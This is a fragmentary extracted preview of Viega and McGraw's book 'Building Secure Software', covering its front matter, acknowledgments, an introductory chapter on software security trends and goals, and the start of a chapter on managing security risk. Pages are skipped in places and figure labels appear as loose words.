Building Secure Software How To Avoid Security Problems The Right Way Compress
Building Secure Software How To Avoid Security Problems The Right Way Compress
“Others try to close the door after the intruder has gotten in, but
Viega and McGraw begin where all discussions on computer security
should start: how to build security into the system up front. In straight-
forward language, they tell us how to address basic security priorities.”
—Charlie Babcock, Interactive Week
“About Time!”
—Michael Howard, Secure Windows Initiative,
Microsoft Windows XP Team
“While the rest of the world seems to deal with symptoms, few have
been able to go after the cause of most security problems: the design
and development cycles. People are taught insecure coding styles in
most major colleges. Many people have taken their understanding of
writing software for personal single user systems and thrust their
designs into networked interdependent environments. This is danger-
ous. These frameworks quickly undermine the nation’s critical infra-
structure as well as most commercial organizations, and place the
individual citizen at risk. Currently most people need to be broken of
their bad habits and re-taught. It is my sincere hope that books like this
one will provide the attention and focus that this area deserves. After
all, this area is where the cure can be embodied. Users will not always
play nice with the system. Malicious attackers seldom do. Writing
secure code to withstand hostile environments is the core solution.”
—mudge, Chief Scientist and EVP of R&D, @stake
John Viega
Gary McGraw
ISBN 0-201-72152-X
Text printed in the United States on recycled paper at RR Donnelley Crawfordsville in Crawfordsville, Indiana.
9th Printing June 2008
To our children
Emily and Molly
and
Jack and Eli
=
This page intentionally left blank
= Contents
Foreword xix
Preface xxiii
Organization xxiv
Code Examples xxv
Contacting Us xxvi
Acknowledgments xxvii
xi
xii Contents
Authentication 22
Integrity 23
Know Your Enemy: Common Software Security Pitfalls 24
Software Project Goals 26
Conclusion 27
3 Selecting Technologies 49
Choosing a Language 49
Choosing a Distributed Object Platform 54
CORBA 54
DCOM 56
EJB and RMI 58
Choosing an Operating System 59
Authentication Technologies 61
Host-Based Authentication 61
Physical Tokens 63
Biometric Authentication 64
Cryptographic Authentication 66
Defense in Depth and Authentication 66
Conclusion 67
Contents xiii
Passphrases 362
Application-Selected Passwords 363
One-Time Passwords 365
Conclusion 379
References 465
Index 471
= Foreword
xix
xx Foreword
Bruce Schneier
Founder and CTO
Counterpane Internet Security
http://www.counterpane.com
This page intentionally left blank
= Preface
xxiii
xxiv Preface
Organization
This book is divided into two parts. The first part focuses on the things you
should know about software security before you even think about producing
code. We focus on how to integrate security into your software engineering
practice. Emphasis is placed on methodologies and principles that reduce
security risk by getting started early in the development life cycle. Designing
security into a system from the beginning is much easier and orders of mag-
nitude cheaper than retrofitting a system for security later. Not only do we
Preface xxv
Code Examples
Although we cover material that is largely language independent, most of
our examples are written in C, mainly because it is so widely used, but also
because it is harder to get things right in C than in other languages. Porting
our example code to other programming languages is often a matter of
finding the right calls or constructs for the target programming language.
However, we do include occasional code examples in Python, Java, and
Perl, generally in situations in which those languages are significantly
different from C. All of the code in this book is available at
http://www.buildingsecuresoftware.com/.
xxvi Preface
There is a large UNIX bias to this book even though we tried to stick
to operating system-independent principles. We admit that our coverage of
specifics for other operating systems, particularly Windows, leaves some-
thing to be desired. Although Windows NT is loosely POSIX compliant,
in reality Windows programmers tend not to use the POSIX application
programming interface (API). For instance, we hear that most Windows
programmers do not use the standard C string library, in favor of Unicode
string-handling routines. As of this writing, we still don’t know which
common functions in the Windows API are susceptible to buffer overflow
calls, so we can’t provide a comprehensive list. If someone creates such a
list in the future, we will gladly post it on the book’s Web site.
The code we provide in this book has all been tested on a machine run-
ning stock Red Hat 6.2. Most of it has been tested on an OpenBSD machine
as well. However, we provide the code on an “as-is” basis. We try to make
sure that the versions of the code posted on the Web site are as portable as
possible; but be forewarned, our available resources for ensuring portability
are low. We may not have time to help people who can’t get code to compile
on a particular architecture, but we will be very receptive to readers who
send in patches.
Contacting Us
We welcome electronic mail from anyone with comments, bug fixes, or
other suggestions. Please contact us through
http://www.buildingsecuresoftware.com.
= Acknowledgments
John’s Acknowledgments
First and foremost, I would like to thank my entire family, especially my
wonderful, wonderful daughters, Emily and Molly, as well as Anne, Michael,
Mom, and John. I wish I could give you back the massive amounts of time
this book sucked away. My apologies in advance for the next time!
I’d like to acknowledge those people who mentored me through the
years, including Reimier Behrends, Tony Brannigan, Tutt Stapp-Harris, and
Randy Pausch. Of the people who have mentored me throughout my life, I
must give special thanks to Paul Reynolds. I can’t thank him enough for all
xxvii
xxviii Acknowledgments
the encouragement and advice he gave me when I needed it the most. He’s
definitely done a lot for me over the years.
Secure Software Solutions (www.securesw.com) has been a wonderful
place to be. I’m glad to be surrounded by so many gifted, genuine people.
I’d like to thank a lot of people who have directly or indirectly contributed
to the success of that company, including Pravir Chandra, Jeremy Epstein,
Guillaume Girard, Zachary Girouard, Dave Lapin, Josh Masseo, Doug
Maughan and DARPA (Defense Advanced Research Process Agency),
Matt Messier, Mike Shinn, Scott Shinn, and David Wheeler, as well as all
our customers.
Similarly, I’ve gotten a lot out of being a member of the Shmoo Group
(www.shmoo.com). Besides being a great friend, Bruce Potter has done a
stellar job of collecting some exceptionally sharp minds, including Dustin
Andrews, Jon Callas, Craig Fell, Paul Holman, Andrew Hobbs, Tadayoshi
Kohno, Preston Norvell, John McDaniel, Heidi Potter, Joel Sadler, Len
Sassaman, Adam Shand, Rodney Thayer, Kristen Tsolis, and Brian Wotring.
I’ve been lucky to make many great friends and acquaintances in
the security community who have influenced me with their perspectives,
including Lee Badger, Nikita Borisov, Ian Brown, Crispan Cowan, Jordan
Dimov, Jeremy Epstein, Dave Evans, Ed Felten, Rop Gonggriip, Peter
Gutmann, Greg Hoglund, Darrell Kienzle, John Kelsey, John Knight, Carl
Landwehr, Steve Lipner, mudge, Peter Neumann, Jens Palsberg, David
Wagner, David Wheeler, Chenxi Wong, and Paul Wouters (D.H.).
My circles of technical friends, past and present, deserve thanks for
keeping me informed and sharp, including Roger Alexander, J.T. Bloch,
Leigh Caldwell, Larry Hiller, Tom Mutdosch, Tom O’Connor, James Patten,
George Reese, John Regehr, Rob Rose, Greg Stein, Fred Tarabay, Guido
Van Rossum, Scott Walters, and Barry Warsaw.
I also would like to thank the many great friends who probably think
I’ve long forgotten them in pursuit of my professional interests, including
Marcus Arena, Jason Bredfeldt, Brian Jones, J.C. Khul, Beth Mallory, Kevin
Murphy, Jeff Peskin, Chris Saady, David Thompson, Andy Waldeck, Andrew
Winn, Chris Winn, and Jimmy Wood. I haven’t forgotten you—you will
always mean a lot to me. Sorry for those I couldn’t remember off the top
of my head; you know who you are.
Over the years, I’ve also been lucky to work with a number of great
people, each of whom influenced this book in a positive way. Everyone in
Randy Pausch’s User Interface Group, up until the time it left the University
of Virginia, taught me a lot. I’d also like to thank my previous employer,
Acknowledgments xxix
Gary’s Acknowledgments
Building Secure Software has its roots firmly planted in the fertile soil of
Cigital (formerly Reliable Software Technologies). Cigital (www.cigital.com)
continues to be an excellent place to work, where the perpetually interesting
challenge of making software behave remains job one. Special thanks to my
cohorts on the management team for letting me take the time to do another
book: Jeff Payne, Jeff Voas, John Bowman, Charlie Crew, Jen Norman, Ed
McComas, Anup Ghosh, and Rich Leslie. Cigital’s Software Security Group
(SSG) was founded in 1999 by John Viega, myself, and Brad Arkin. The
SSG, now run by Mark McGovern, ranks among the best group of soft-
ware security practitioners in the world. Thanks to all of the members of
the SSG for making critical parts of the software security vision a reality.
And a special thanks to Stacy Norton for putting up with my quirky and
excessive travel behavior.
My co-author, John, deserves large kudos for twisting my arm into writ-
ing this book. (He bribed me with a double short dry cap from Starbucks.)
xxx Acknowledgments
James Bach also deserves credit for getting me to write an article for
IEEE Computer called “Software Assurance for Security” [McGraw
1999b]. That article started the avalanche. The avalanche continued with
the help of IBM’s Developerworks portal, where John and I penned some
of the original material that became this book. The original articles can still
be accessed through http://www.ibm.com/developer/security.
Like all of my books, this book is a collaborative effort. My friends in
the security community that helped in one way or another include Ross
Anderson, Matt Bishop, Steve Bellovin, Bill Cheswick, Crispin Cowan,
Drew Dean, Jeremy Epstein, Dave Evans, Ed Felten, Anup Ghosh, Li Gong,
Peter Honeyman, Mike Howard, Carl Landwehr, Steve Kent, Paul Kocher,
Greg Morrisett, mudge, Peter Neumann, Marcus Ranum, Avi Rubin, Fred
Schneider, Bruce Schneier, Gene Spafford, Kevin Sullivan, Roger Thompson,
and Dan Wallach. Thanks to DARPA, the National Science Foundation,
and the National Institute of Standards and Technology’s Advanced
Technology Program for supporting my research over the years. Particularly
savvy Cigital customers who have taught me valuable security lessons
include Ken Ayer (Visa), Lance Johnson (DoubleCredit), and Paul Raines
(Barclays).
Finally, and most important, thanks to my family. I believe they have
finally given up hope that this book-writing thing is a phase (alas). Love to
Amy Barley, Jack, and Eli. Special shouts to the farm menagerie: bacon the
pig, sage, willy and sally, walnut and ike, winston, and craig. Also thanks to
rhine, april, cyn, heather, and penny for 1999.
Introduction to Software Security
1
1
2 Chapter 1 Introduction to Software Security
fishing line, a matchbook, and two sticks of chewing gum. The problem for software
engineers is not that hackers (by their definition) are malicious; it is that they believe
cobbling together an ad hoc solution is at best barely acceptable. They feel careful
thought should be given to software design before coding begins. They therefore feel
that hackers are developers who tend to “wing it,” instead of using sound engineering
principles. (Of course, we never do that! Wait! Did we say that we’re hackers?)
Far more negative is the definition of hacker that normal people use (including the
press). To most people, a hacker is someone who maliciously tries to break software. If
someone breaks in to your machine, many people would call that person a hacker.
Needless to say, this definition is one that the many programmers who consider
themselves “hackers” resent.
Do we call locksmiths burglars just because they could break into our house if
they wanted to do so? Of course not. But that’s not to say that locksmiths can’t be bur-
glars. And, of course, there are hackers who are malicious, do break into other people’s
machines, and do erase disk drives. These people are a very small minority compared
with the number of expert programmers who consider themselves “hackers.”
In the mid 1980s, people who considered themselves hackers, but hated the negative
connotations the term carried in most peoples’ minds (mainly because of media coverage
of security problems), coined the term cracker. A cracker is someone who breaks software
for nefarious ends.
Unfortunately, this term hasn’t caught on much outside of hacker circles. The press
doesn’t use it, probably because it is already quite comfortable with “hacker.” And it sure
didn’t help that they called the movie Hackers instead of Crackers. Nonetheless, we think it
is insulting to lump all hackers together under a negative light. But we don’t like the term
cracker either. To us, it sounds dorky, bringing images of Saltines to mind. So when we
use the term hacker, that should give you warm fuzzy feelings. When we use the term
malicious hacker, attacker, or bad guy, it is okay to scowl. If we say “malicious
hacker,” we’re generally implying that the person at hand is skilled. If we say anything
else, they may or may not be.
they will instead notify the author of the software, so that the problem can be fixed. If
they don’t tell the author in a reasonable way, then they can safely be labeled malicious.
Fortunately, most people who find serious security flaws don’t use their finds to do bad
things.
At this point, you are probably wondering who the malicious attackers and bad
guys really are! After all, it takes someone with serious programming experience to
break software. This may be true in finding a new exploit, but not in exploiting it.
Generally, bad guys are people with little or no programming ability capable of down-
loading, building, and running programs other people write (hackers often call this
sort of bad guy a script kiddie). These kinds of bad guys go to a hacker site, such as
(the largely defunct) http://www.rootshell.com, download a program that can be used
to break into a machine, and get the program to run. It doesn’t take all that much skill
(other than hitting return a few times). Most of the people we see engage in this sort of
activity tend to be teenage boys going through a rebellious period. Despite the fact that
such people tend to be relatively unskilled, they are still very dangerous.
So, you might ask yourself, who wrote the programs that these script kiddies used to
break stuff? Hackers? And if so, then isn’t that highly unethical? Yes, hackers tend to write
most such programs. Some of those hackers do indeed have malicious intent, and are truly
bad people. However, many of these programs are made public by hackers who believe in
the principle of full disclosure. The basic idea behind this principle is that everyone will be
encouraged to write more secure software if all security vulnerabilities in software are
made public. It encourages vendors to acknowledge and fix their software and can ex-
pose people to the existence of problems before fixes exist.
Of course, there are plenty of arguments against full disclosure too. Although full
disclosure may encourage vendors to fix their problems quickly, there is almost always a
long delay before all users of a vendor’s software upgrade their software. Giving so much
information to potential attackers makes it much easier for them to exploit those people. In
the year 2000, Marcus Ranum sparked considerable debate on this issue, arguing that full
disclosure does more harm than good. Suffice it to say, people without malicious intent
sometimes do release working attack code on a regular basis, knowing that there is a
potential for their code to be misused. These people believe the benefits of full disclosure
outweigh the risks. We provide third-party information on these debates on the book’s
Web site.
150
Total
Vulnerabilities
167
100
Total
Vulnerabilities
578
50
Total
Vulnerabilities
769
0
1998 1999 2000*
*January to September
Figure 1–1 Bugtraq vulnerabilities by month from January 1998 to September 2000.
Dealing with Widespread Security Failures 7
Bugtraq
The Bugtraq mailing list, administered by securityfocus.com, is an e-mail
discussion list devoted to security issues. Many security vulnerabilities are
first revealed on Bugtraq (which generates a large amount of traffic). The
signal-to-noise ratio on Bugtraq is low, so reader discretion is advised. Never-
theless, this list is often the source of breaking security news and interesting
technical discussion. Plenty of computer security reporters use Bugtraq as
their primary source of information.
Bugtraq is famous for pioneering the principle of full disclosure, which
is a debated notion that making full information about security vulnerabil-
ities public will encourage vendors to fix such problems more quickly. This
philosophy was driven by numerous documented cases of vendors down-
playing security problems and refusing to fix them when they believed that
few of their customers would find out about any problems.
If the signal-to-noise ratio on Bugtraq is too low for your tastes, the
securityfocus.com Web site keeps good information on recent vulnerabilities.
8 Chapter 1 Introduction to Software Security
CERT Advisories
The CERT Coordination Center ([CERT/CC], www.cert.org) is located
at the Software Engineering Institute, a federally funded research and
development center operated by Carnegie Mellon University. CERT/CC
studies Internet security vulnerabilities, provides incident response services
to sites that have been the victims of attack, and publishes a variety of
security alerts.
Many people in the security community complain that CERT/CC
announces problems much too late to be effective. For example, a problem
in the TCP protocol was the subject of a CERT advisory released a decade
after the flaw was first made public. Delays experienced in the past can
largely be attributed to the (since-changed) policy of not publicizing an
attack until patches were available. However, problems like the afore-
mentioned TCP vulnerability are more likely attributed to the small size of
CERT. CERT tends only to release advisories for significant problems. In
this case, they reacted once the problem was being commonly exploited in
the wild. The advantage of CERT/CC as a knowledge source is that they
highlight attacks that are in actual use, and they ignore low-level malicious
activity. This makes CERT a good source for making risk management
decisions and for working on problems that really matter.
RISKS Digest
The RISKS Digest forum is a mailing list compiled by security guru Peter
Neumann that covers all kinds of security, safety, and reliability risks intro-
duced and exacerbated by technology. RISKS Digest is often among the first
places that sophisticated attacks discovered by the security research commu-
nity are announced. Most Java security attacks, for example, first appeared
here. The preferred method for reading the RISKS Digest is through the
Usenet News group comp.risks. However, for those without easy access to
Usenet News, you can subscribe to the mailing list by sending a request to
[email protected].
These aren’t the only sources for novel information, but they’re cer-
tainly among the most popular. The biggest problem is that there are too
many sources. To get the “big picture,” one must sift through too much
information. Often, administrators never learn of the existence of an
important patch that should definitely be applied to their system. We don’t
really consider this problem the fault of the system administrator. As Bruce
Technical Trends Affecting Software Security 9
Schneier has said, blaming a system administrator for not keeping up with
patches is blaming the victim. It is very much like saying, “You deserved to
get mugged for being out alone in a bad neighborhood after midnight.”
Having to keep up with dozens of weekly reports announcing security
vulnerabilities is a Herculean task that is also thankless. People don’t see
the payoff.
the Internet has increased both the number of attack vectors (avenues for
attack) and the ease with which an attack can be made. More and more
computers, ranging from home personal computers (PCs) to systems that
control critical infrastructures (such as the power grid), are being connected
to the Internet. Furthermore, people, businesses, and governments are
increasingly dependent on network-enabled communication such as e-mail
or Web pages provided by information systems. Unfortunately, because
these systems are connected to the Internet, they become vulnerable to
attacks from distant sources. Put simply, an attacker no longer needs
physical access to a system to cause security problems.
Because access through a network does not require human interven-
tion, launching automated attacks from the comfort of your living room
is relatively easy. Indeed, the well-publicized denial-of-service attacks in
February 2000 took advantage of a number of (previously compromised)
hosts to flood popular e-commerce Web sites, including Yahoo!, with bogus
requests automatically. The ubiquity of networking means that there are
more systems to attack, more attacks, and greater risks from poor software
security practice than ever before.
A second trend that has allowed software security vulnerabilities to
flourish is the size and complexity of modern information systems and their
corresponding programs. A desktop system running Windows/NT and asso-
ciated applications depends on the proper functioning of the kernel as well
as the applications to ensure that an attacker cannot corrupt the system.
However, NT itself consists of approximately 35 million lines of code, and
applications are becoming equally, if not more, complex. When systems
become this large, bugs cannot be avoided.
Exacerbating this problem is the widespread use of low-level program-
ming languages, such as C or C++, that do not protect against simple kinds
of attacks (most notably, buffer overflows). However, even if the systems
and applications codes were bug free, improper configuration by retailers,
administrators, or users can open the door to attackers. In addition to
providing more avenues for attack, complex systems make it easier to hide
or to mask malicious code. In theory, we could analyze and prove that a
small program was free of security problems, but this task is impossible for
even the simplest of desktop systems today, much less the enterprise-wide
systems used by businesses or governments.
A third trend exacerbating software security problems is the degree to
which systems have become extensible. An extensible host accepts updates
Technical Trends Affecting Software Security 11
Netscape Communicator
Navigator
Plug-ins
Shockwave Flash
Beatnik Audio
SmartUpdate
Scripting Engines Content
Viewer
JavaScript JScript VBScript Location Bar
History
wysiwyg:
Certificate
about:
aim:
file:
Messenger
Management
Password
Store
HTTPS
SMTP
NNTP
HTTP
LDAP
IMAP
POP
FTP
File System Memory Network
Helper
Applications
WinAmp
AOL Instant
RealPlayer Admin
Messenger
Tools
Operating System
companies ship the base application code early, and later ship feature
extensions as needed.
Unfortunately, the very nature of extensible systems makes security
harder. For one thing, it is hard to prevent malicious code from slipping in
as an unwanted extension. Meaning, the features designed to add exten-
sibility to a system (such as Java’s class-loading mechanism) must be
designed with security in mind. Furthermore, analyzing the security of an
extensible system is much harder than analyzing a complete system that
can’t be changed. How can you take a look at code that has yet to arrive?
Better yet, how can you even begin to anticipate every kind of mobile code
that may arrive?
The ’ilities 13
Internet Explorer
wysiwyg:
Certificate Parser
file:
Management
Password
Store
NetBios
HTTPS
SMTP
NNTP
HTTP
IMAP
POP
FTP
ActiveX
Controls File System Memory Network
OS Security
Configuration
External IE Data
Applications Operating System Admin
Kit
The ’ilities
Is security a feature that can be added on to an existing system? Is it a static
property of software that remains the same no matter what environment the
code is placed in? The answer to these questions is an emphatic no.
14 Chapter 1 Introduction to Software Security
What Is Security?
So far, we have dodged the question we often hear asked: What is security?
Security means different things to different people. It may even mean differ-
ent things to the same person, depending on the context. For us, security
boils down to enforcing a policy that describes rules for accessing resources.
If we don’t want unauthorized users logging in to our system, and they do,
then we have a security violation on our hands. Similarly, if someone per-
forms a denial-of-service attack against us, then they’re probably violating
our policy on acceptable availability of our server or product. In many
cases, we don’t really require an explicit security policy because our implicit
policy is fairly obvious and widely shared.
Without a well-defined policy, however, arguing whether some event
is really a security breach can become difficult. Is a port scan considered a
security breach? Do you need to take steps to counter such “attacks?” There’s
no universal answer to this question. Despite the wide evidence of such gray
areas, most people tend to have an implicit policy that gets them pretty far.
Instead of disagreeing on whether a particular action someone takes is a
security problem, we worry about things like whether the consequences are
Penetrate and Patch Is Bad 15
about security only after their product has been publicly (and often spec-
tacularly) broken by someone. Then they rush out a patch instead of coming
to the realization that designing security in from the start may be a better
idea. This sort of approach won’t do in e-commerce or other business-
critical applications.
Our goal is to minimize the unfortunately pervasive “penetrate-and-
patch” approach to security, and to avoid the problem of desperately trying
to come up with a fix to a problem that is being actively exploited by attack-
ers. In simple economic terms, finding and removing bugs in a software
system before its release is orders of magnitude cheaper and more effective
than trying to fix systems after release [Brooks, 1995].
There are many problems to the penetrate-and-patch approach to
security. Among them are the following:
■ Developers can only patch problems which they know about. Attackers
may find problems that they never report to developers.
■ Patches are rushed out as a result of market pressures on vendors, and
often introduce new problems of their own to a system.
■ Patches often only fix the symptom of a problem, and do nothing to
address the underlying cause.
■ Patches often go unapplied, because system administrators tend to be
overworked and often do not wish to make changes to a system that
“works.” As we discussed earlier, system administrators are generally
not security professionals.
Designing a system for security, carefully implementing the system,
and testing the system extensively before release, presents a much better
alternative. We discuss design for security extensively in Chapter 2.
The fact that the existing penetrate-and-patch system is so poorly
implemented is yet another reason why the approach needs to be changed.
In an IEEE Computer article from December 2000 entitled “Windows of
Vulnerability: A Case Study Analysis,” Bill Arbaugh, Bill Fithen, and John
McHugh discuss a life cycle model for system vulnerabilities that emphasizes
how big the problem is [Arbaugh, 2000]. Data from their study show that
intrusions increase once a vulnerability is discovered, the rate continues to
increase until the vendor releases a patch, but exploits continue to occur even
after the patch is issued (sometimes years after). Figure 1– 4 is based on their
data. It takes a long time before most people upgrade to patched versions,
because most people upgrade for newer functionality, the hope of more robust
software, or better performance; not because they know of a real vulnerability.
On Art and Engineering 17
Intrusions
Security Goals
What does it mean for a software system to be secure? Does it even make
sense to make claims like “Java is secure”? How can a program be secure?
Security is not a static feature on which everyone agrees. It’s not some-
thing than can be conveniently defined away in a reductionist move. For
most developers and architects, security is like pornography is to the United
States Supreme Court: They may not be able to define it, but they think they
know it when they see it.
The problem is, security is relative. Not only is there no such thing as
100% security, even figuring out what “secure” means differs according to
Security Goals 19
context. A key insight about security is to realize that any given system, no
matter how “secure,” can probably be broken. In the end, security must
be understood in terms of a simple question: Secure against what and
from whom?
Understanding security is best understood by thinking about goals.
What is it we are trying to protect? From whom are we protecting it? How
can we get what we want?
Prevention
As in today’s criminal justice system, much more attention is paid to security
after something bad happens than before. In both cases, an ounce of preven-
tion is probably worth a pound of punishment.
Internet time compresses not only the software development life cycle
(making software risk management a real challenge), it also directly affects
the propagation of attacks. Once a successful attack on a vulnerability is
found, the attack spreads like wildfire on the Internet. Often, the attack is
embedded in a simple script, so that an attacker requires no more skill than
the ability to hit return in order to carry it out.
Internet time is the enemy of software security. Automated Internet-
based attacks on software are a serious threat that must be factored into
the risk management equation. This makes prevention more important
than ever.
Monitoring
Monitoring is real-time auditing. Intrusion detection systems based on
watching network traffic or poring over log files are simple kinds of moni-
toring systems. These systems are relative newcomers to the commercial
security world, and getting shrink-wrapped products to be useful is not
easy because of the alarming number of false alarms.
Monitoring a program is possible on many levels, and is an idea rarely
practiced today. Simple approaches can watch for known signatures, such
as dangerous patterns of low-level system calls that identify an attack in
progress. More complex approaches place monitors in the code itself in the
form of assertions.
Often, simple burglar alarms and trip wires can catch an attack in
progress and can help prevent serious damage.
Multilevel Security
Some kinds of information are more secret than others. Most governments
have multiple levels of information classification, ranging from Unclassified
and merely For Official Use Only, through Secret and Top Secret, all the way
to Top Secret/Special Compartmentalized Intelligence.
Most corporations have data to protect too—sometimes from their own
employees. Having a list of salaries floating around rarely makes for a happy
company. Some business partners will be trusted more than others. Technolo-
gies to support these kinds of differences are not as mature as we wish.
Different levels of protection are afforded different levels of informa-
tion. Getting software to interact cleanly with a multilevel security system
is tricky.
Anonymity
Anonymity is a double-edge sword. Often there are good social reasons for
some kinds of anonymous speech (think of AIDS patients discussing their
malady on the Internet), but just as often there are good social reasons not
to allow anonymity (think of hate speech, terrorist threats, and so on).
Today’s software often makes inherent and unanticipated decisions about
anonymity. Together with privacy, decisions about anonymity are important
aspects of software security.
Microsoft’s Global Identifier tracks which particular copy of Microsoft
Office originated a document. Sound like Big Brother? Consider that this
identifier was used to help tie David L. Smith, the system administrator who
created and released the Melissa virus, to his malicious code.2 What hurts
us can help us too.
Often, technology that severely degrades anonymity and privacy turns
out to be useful for law enforcement. The FBI’s notorious Carnivore system
is set up to track who sends e-mail to whom by placing a traffic monitoring
system at an Internet service provider (ISP) like AOL. But why should we
trust the FBI to stop at the headers? Especially when we know that the
supposedly secret Echelon system (also run by the US government) regularly
scans international communications for keywords and patterns of activity!
Cookies are used with regularity by e-commerce sites that want to learn
more about the habits of their customers. Cookies make buying airline
2. Steve Bellovin tells us that, although the global identifier was found, Smith was first
tracked down via phone records and ISP logs.
22 Chapter 1 Introduction to Software Security
tickets on-line faster and easier, and they remember your Amazon.com
identity so you don’t have to type in your username and password every
time you want to buy a book. But cookies can cross the line when a single
collection point is set up to link cross-Web surfing patterns. DoubleClick
collects reams of surfing data about individuals across hundreds of popular
Web sites, and they have publicly announced their intention to link surfing
data with other demographic data. This is a direct marketer’s dream, and a
privacy advocate’s nightmare.
Software architects and developers, along with their managers, should
think carefully about what may happen to data they collect in their programs.
Can the data be misused? How? Does convenience outweigh potential
privacy issues?
Authentication
Authentication is held up as one of the big three security goals (the other
two being confidentiality and integrity). Authentication is crucial to security
because it is essential to know who to trust and who not to trust. Enforcing
a security policy of almost any sort requires knowing who it is that is trying
to do something to the what we want to protect.
Software security almost always includes authentication issues. Most
security-critical systems require users to log in with a password before they
can do anything. Then, based on the user’s role in the system, he or she may
be disallowed from doing certain things. Not too many years ago, PCs did
very little in the way of authentication. Physical presence was good enough
for the machine to let you do anything. This simplistic approach fails to
work in a networked world.
Authentication on the Web is in a sorry state these days. Users tend to
trust that a universal resource locator (URL) displayed on the status line
means they are looking at a Web site owned by a particular business or person.
But a URL is no way to foster trust! Who’s to say that yourfriendlybank.com
is really a bank, and is really friendly?
People falsely believe that when the little lock icon on their browser
lights up that they have a “secure connection.” Secure socket layer (SSL)
technology uses cryptography to protect the data stream between the
browser and the server to which it is connected. But from an authentication
standpoint, the real question to ponder is to whom are you connected?
Clicking on the little key may reveal a surprise.
When you buy an airline ticket from ual.com (the real United Airlines
site as far as we can tell), a secure SSL connection is used. Presumably this
Security Goals 23
secures your credit card information on its travels across the Internet. But,
click on the lock and you’ll see that the site with which you have a secure
channel is not ual.com, it’s itn.net (and the certificate belongs to
GetThere.com of Menlo Park, CA). Who the heck are they? Can they be
trusted with your credit card data?
To abuse SSL in a Web spoofing attack (as described in Web Spoofing
[Felten, 1997]), a bad guy must establish a secure connection with the vic-
tim’s browser at the right times. Most users never bother to click the lock
(and sophisticated attackers can make the resulting screens appear to say
whatever they want anyway).
Authentication in software is a critical software security problem to
take seriously. And there will be literally hundreds of different ways to solve
it (see Chapter 3). Stored-value systems and other financial transaction
systems require very strong approaches. Loyalty programs like frequent
flyer programs don’t. Some authentication schemes require anonymity, and
others require strict and detailed auditing. Some schemes involve sessions
(logging in to your computer in the morning) whereas others are geared
toward transactions (payment systems).
Integrity
Last but certainly not least comes integrity. When used in a security con-
text, integrity refers to staying the same. By contrast to authentication, which
is all about who, when, and how, integrity is about whether something has
been modified since its creation.
There are many kinds of data people rely on to be correct. Stock
prices are a great example. The move toward Internet-enabled devices like
WAP (Wireless Application Protocol) phones or iMode devices is often
advertised with reference to real-time trading decisions made by a busy
person watching the stock market on her phone as she walks through the
airport or hears a stockholder’s presentation. What if the data are tam-
pered with between the stock exchange (where the information originates)
and the receiver?
Stock price manipulation via misinformation is more common than
you may think. Famous cases include Pairgain Technologies, whose stock
was intentionally run up in 1999 by a dishonest employee, and Emulex
Corporation, a fiber channel company whose stock price was similarly
manipulated with fake wire stories by a junior college student in California.
Digital information is particularly easy to fake. Sometimes it can be
harder to print counterfeit money than to hack a stored-value smart card
24 Chapter 1 Introduction to Software Security
with differential power analysis (DPA) and to add some electronic blips
(see the book Web site for links on DPA). The more the new economy
comes to rely on information, the more critical information integrity will
become.
Conclusion
Computer security is a vast topic that is becoming more important because
the world is becoming highly interconnected, with networks being used to
carry out critical transactions. The environment in which machines must
survive has changed radically since the popularization of the Internet.
Deciding to connect a local area network (LAN) to the Internet is a security-
critical decision. The root of most security problems is software that fails in
unexpected ways. Although software security as a field has much maturing
to do, it has much to offer to those practitioners interested in striking at the
heart of security problems. The goal of this book is to familiarize you with
the current best practices for keeping security flaws out of your software.
28 Chapter 1 Introduction to Software Security
Good software security practices can help ensure that software behaves
properly. Safety-critical and high-assurance system designers have always
taken great pains to analyze and to track software behavior. Security-critical
system designers must follow suit. We can avoid the Band-Aid-like penetrate-
and-patch approach to security only by considering security as a crucial
system property. This requires integrating software security into your entire
software engineering process—a topic that we take up in the next chapter.
Managing Software Security Risk
2
“The need for privacy, alas, creates a tradeoff between the need for security
and ease of use. In the ideal world, it would be possible to go to an information
appliance, turn it on and instantly use it for its intended purpose, with no delay. . . .
Because of privacy issues, this simplicity is denied us whenever confidential
or otherwise restricted information is involved.”
—Donald Norman
THE INVISIBLE COMPUTER
29
30 Chapter 2 Managing Software Security Risk
1. Although Figure 2–1 shows the spiral model as an outward spiral, we like to see it more as
an inward spiral to a platonic ideal that you can never reach.
An Overview of Software Risk Management for Security 31
Determine objectives,
alternatives, constraints Evaluate alternatives;
identify, resolve risks
Risk analysis
Risk analysis
Final
Risk prototype
analysis Prototype
3
Prototype
2
REVIEW
Integration
Service test
Acceptance Develop, verify
Plan next phase test next-level product
At the point in the life cycle when software risk management begins,
all existing artifacts and involved stakeholders can be used as resources in
identifying software risks. Requirements documents, architecture and design
documents, models, any existing code, and even test cases all make useful
artifacts.
Next, risks are addressed, often through prototyping, and some valida-
tion may be performed to make sure that a possible solution manages risks
appropriately, given the business context. Any such solution is then integrated
into the current state of affairs. Perhaps the code will be modified. Perhaps
the design and the requirements will be updated as well. Finally, the next
phase is planned.
The key to the spiral model is that it is applied in local iterations at
each milestone during software life cycle phases. Each local software risk
management cycle involves application of the same series of steps. Local
iterations of the cycle manage risk at a more refined level, and apply specif-
ically to the life cycle phase during which they are performed. As a result,
projects become more resilient to any problems that crop up along the way.
This model is in sharp contrast to the older waterfall model, which has all
32 Chapter 2 Managing Software Security Risk
Deriving Requirements
In developing a set of security requirements, the engineer should focus
on identifying what needs to be protected, from whom those things need to
be protected, and for how long protection is needed. Also, one should
identify how much it is worth to keep important data protected, and one
should look at how people concerned are likely to feel over time.
After this exercise, the engineer will most likely have identified a large
number of the most important security requirements. However, there are
usually more such requirements that must be identified to do a thorough
job. For example, a common requirement that might be added is, “This
product must be at least as secure as the average competitor.” This require-
ment is perfectly acceptable in many situations, as long as you make sure the
requirement is well validated. All along, the security engineer should make
sure to document everything relevant, including any assumptions made.
The security engineer should be sure to craft requirements well. For
example, the requirement “This application should use cryptography
wherever necessary” is a poor one, because it prescribes a solution without
even diagnosing the problem. The goal of the requirements document is not
only to communicate what the system must do and must not do, but also to
communicate why the system should behave in the manner described. A
much better requirement in this example would be, “Credit card numbers
should be protected against potential eavesdropping because they are sen-
sitive information.” The choice of how to protect the information can safely
be deferred until the system is specified.
Software security risks to be managed take on different levels of urgency
and importance in different situations. For example, denial of service may
not be of major concern for a client machine, but denial of service on a com-
mercial Web server could be disastrous. Given the context-sensitive nature
Software Security Personnel in the Life Cycle 35
Risk Assessment
As we have said, there is a fundamental tension inherent in today’s tech-
nology between functionality (an essential property of any working system)
and security (also essential in many cases). A common joke goes that the
